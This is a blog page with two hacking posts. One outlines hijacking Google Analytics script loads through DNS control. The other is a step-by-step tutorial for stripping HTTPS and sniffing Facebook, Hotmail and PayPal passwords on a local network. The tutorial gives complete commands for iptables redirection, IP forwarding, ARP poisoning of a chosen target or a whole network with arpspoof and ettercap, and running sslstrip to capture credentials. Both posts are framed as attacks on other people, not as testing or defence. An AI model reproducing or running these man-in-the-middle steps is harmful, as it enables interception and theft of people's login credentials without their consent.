Showing posts with label hacking exposed. Show all posts
Showing posts with label hacking exposed. Show all posts

Tuesday, 15 November 2011

Google Analytics hack | Dns smuggling
i'll discuss the technique that is used for this and somehow you have to do this stuff on your own
Alright, to pull this off, The only tough thing you have to pull off is getting control of the target’s DNS somehow. More specifically, we need to at least control the resolution to a single specific DNS record. There’s dozens of ways to do this, including, but not limited to..:

  • Actually being a man-in-the-midde, and using dnsspoof, ettercap, what have you.
  • Compromising the victim’s DNS server. Less likely if they’re using a major provider, but maybe you’re pen-testing an organization that runs one internally.
  • Add a record to the victim’s hosts file. This obviously requires some access already, but it would give you some additional permanence on a box, and help escalate you past what you have access to without their web passwords. It’s also not likely to be noticed if the victim doesn’t have some kind of file integrity tripwire set up.
  • Changing the DNS server on a router. Easy to do on your average home wireless router run by the inept, and still possible if an organization hasn’t properly secured their routers.
  • Run a fake DHCP server, and hand out your DNS server’s address to clients. This can go along well with PwnPlugs, for example.
So once we can do that, we just need to get their browser to believe that “www.google-analytics.com”, aka “www-google-analytics.l.google.com”, is at an IP address where we have a web server running on port 80.
Interestingly, Google makes this easy for us, in that we don’t have to worry about SSL, or certificate errors. We probably don’t have a way to make our web server’s SSL certificate match the one for Google’s, but that’s okay. In the javascript included on web pages that use it, Google Analytics actually checks to see if the site is being accessed via SSL, and if so, it calls the Analytics code from an entirely different host name, ssl.google-analytics.com, rather than www.
This means that if the victim accesses a site using Google Analytics over SSL from the start, we don’t get access, but the user also doesn’t get alerted. However, if the site initially loads unencrypted, we can hijack things and replace any links to https with regular http links from then on out.
Sniff SSL | https password sniffing 

Tool requirement:
sslstrip, ettercap, arpspoof already in backtrack .

Procedure
Ok well I'v seen a couple people complaining about not being able to sniff facebook, hotmail and paypal passwords. This is because these sites use an https connection. So before you can sniff these passwords in a mitm attack you need to strip the ssl. Ettercap does have an ssl stripping ability but we're going to use sslstrip because it's better.

First thing you need to get it backtrack 4 pre-final. Or you can use another linux distro, and add the tools yourself.
1. First we need to find out what your subnet and default gateway is. Open up a shell.
 Code:
route

you will get something like this
Code:
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
192.168.1.0 * 255.255.255.0 U 0 0 0 wlan0
default 192.168.1.254 0.0.0.0 UG 0 0 0 wlan0



in my case 192.168.1.254 is the gateway. Therefore 192.168.1.1 is the subnet and we use that with nmap.


2. So now we use nmap to find other machines on the network.
Code:
nmap -sP 192.168.1.1/24 |grep "Host"



3. Now we need to enable ip tables in ettercap.
Code:
nano /etc/etter.conf



scroll down untill you find these lines in the file

Code:

# if you use iptables:
#redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
#redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"



Change them to this
Code:
# if you use iptables:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

Hit Ctrl-X then y then enter

4. Now we create our iptables rule
Code:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

5. Now we need to enable ip forwarding
Code:
echo 1 > /proc/sys/net/ipv4/ip_forward
 

6. Now we need to find the interface your using.
Code:
ifconfig

find the interface with your ip address listed underneath it. In my case it's wlan0.


7. Now start sslstrip
Code:
sslstrip -a -k -f

OPTION A: (better)
1. Open a new shell and start arpspoof
Code:
arpspoof -i wlan0 -t 192.168.1.101 192.168.1.254

wlan0 is my interface
192.168.1.101 is my target ip
192.168.1.254 is my gateway

2. Finally, open up another shell and start ettercap in sniffer mode.

Code:
ettercap -T -q -i wlan0
wlan0 being your interface
The sniffed passwords will come up in the ettercap window.
Last thing. Arpspoof will not re-arp the victims for you. So just start arp-spoofing with ettercap and shut it down right away.

Code:
ettercap -T -M arp:remote -i wlan0 /192.168.1.254/ /192.168.1.101/

interface: wlan0
gateway: 192.168.1.254
target: 192.168.1.101

then just hit "q" and ettercap will re-arp your victim. I usually already have this command typed and ready to go in a new shell so I can quickly fix the arp cache when I'm done.

OPTION B: (easier)
open up a new shell and start ettercap
Code:
ettercap -T -i wlan0 -q -M arp:remote /192.168.1.254/ /192.168.1.101/

interface: wlan0
gateway: 192.168.1.254
target: 192.168.1.101 (leave target blank "//" to poison entire network)